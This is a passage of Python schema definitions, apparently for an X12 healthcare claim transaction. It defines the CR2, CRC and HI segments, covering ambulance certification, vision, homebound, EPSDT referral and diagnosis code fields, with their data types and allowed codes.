req_sit="R",
data_type=("ID", "1", "1"),
position=8,
codes=["A", "C", "D", "E", "F", "G", "M"],
),
),
Element(
"CR209",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=9,
codes=[],
),
),
Element(
"CR210",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=10,
codes=[],
),
),
Element(
"CR211",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=11,
codes=[],
),
),
Element(
"CR212",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=12,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="Ambulance Certification",
position="2200",
repeat="3",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["07"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=6,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=7,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
),
Segment(
"CRC",
Properties(
desc="Patient Condition Information: Vision",
position="2200",
repeat="3",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["E1", "E2", "E3"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=6,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=7,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
),
Segment(
"CRC",
Properties(
desc="Homebound Indicator",
position="2200",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["75"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["IH"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=5,
codes=[],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=[],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="EPSDT Referral", position="2200", repeat="1", req_sit="S", syntax=""
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["ZZ"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["AV", "NU", "S2", "ST"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["AV", "NU", "S2", "ST"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["AV", "NU", "S2", "ST"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=[],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
),
Segment(
"HI",
Properties(
desc="Health Care Diagnosis Code",
position="2310",
repeat="1",
req_sit="R",
syntax="",
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"HI01-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABK", "BK"],
),
),
Element(
"HI01-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI01-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI01-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI01-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI01-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI01-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI01-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI01-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="02",
),
Element(
"HI02-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI02-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI02-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI02-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI02-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI02-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI02-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI02-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI02-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="03",
),
Element(
"HI03-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI03-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI03-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI03-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI03-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI03-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI03-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI03-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI03-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="04",
),
Element(
"HI04-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI04-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI04-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI04-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI04-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI04-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI04-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI04-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI04-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="05",
),
Element(
"HI05-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI05-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI05-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI05-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI05-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI05-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI05-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI05-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI05-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="06",
),
Element(
"HI06-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI06-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI06-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI06-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI06-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI06-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI06-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI06-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI06-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="07",
),
Element(
"HI07-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI07-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI07-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI07-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI07-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI07-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI07-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI07-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI07-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="08",
),
Element(
"HI08-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI08-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI08-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI08-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI08-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI08-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI08-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI08-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI08-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="09",
),
Element(
"HI09-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI09-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI09-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI09-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI09-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI09-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI09-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI09-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI09-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="10",
),
Element(
"HI10-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI10-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI10-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI10-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI10-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI10-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI10-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI10-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI10-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="11",
),
Element(
"HI11-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI11-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI11-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI11-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI11-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI11-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI11-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI11-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI11-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="12",
),
Element(
"HI12-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI12-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI12-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI12-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI12-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI12-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI12-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI12-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI12-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
),
Segment(
"HI",
Properties(
desc="Anesthesia Related Procedure",
position="2310",
repeat="1",
req_sit="S",
syntax="",
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"HI01-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BP"],
),
),
Element(
"HI01-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI01-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI01-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI01-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI01-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI01-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI01-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI01-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="02",
),
Element(
"HI02-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BO"],
),
),
Element(
"HI02-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI02-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI02-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI02-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI02-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI02-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI02-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI02-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="04",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="06",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="07",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="08",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="09",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="10",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="11",
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="N",
seq="12",
),
),
),
Segment(
"HI",
Properties(
desc="Condition Information",
position="2310",
repeat="2",
req_sit="S",
syntax="",
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"HI01-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI01-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI01-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI01-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI01-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI01-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI01-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI01-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI01-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="02",
),
Element(
"HI02-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI02-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI02-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI02-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI02-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI02-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI02-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI02-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI02-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="03",
),
Element(
"HI03-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["BG"],
),
),
Element(
"HI03-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI03-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI03-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI03-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI03-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI03-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI03-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
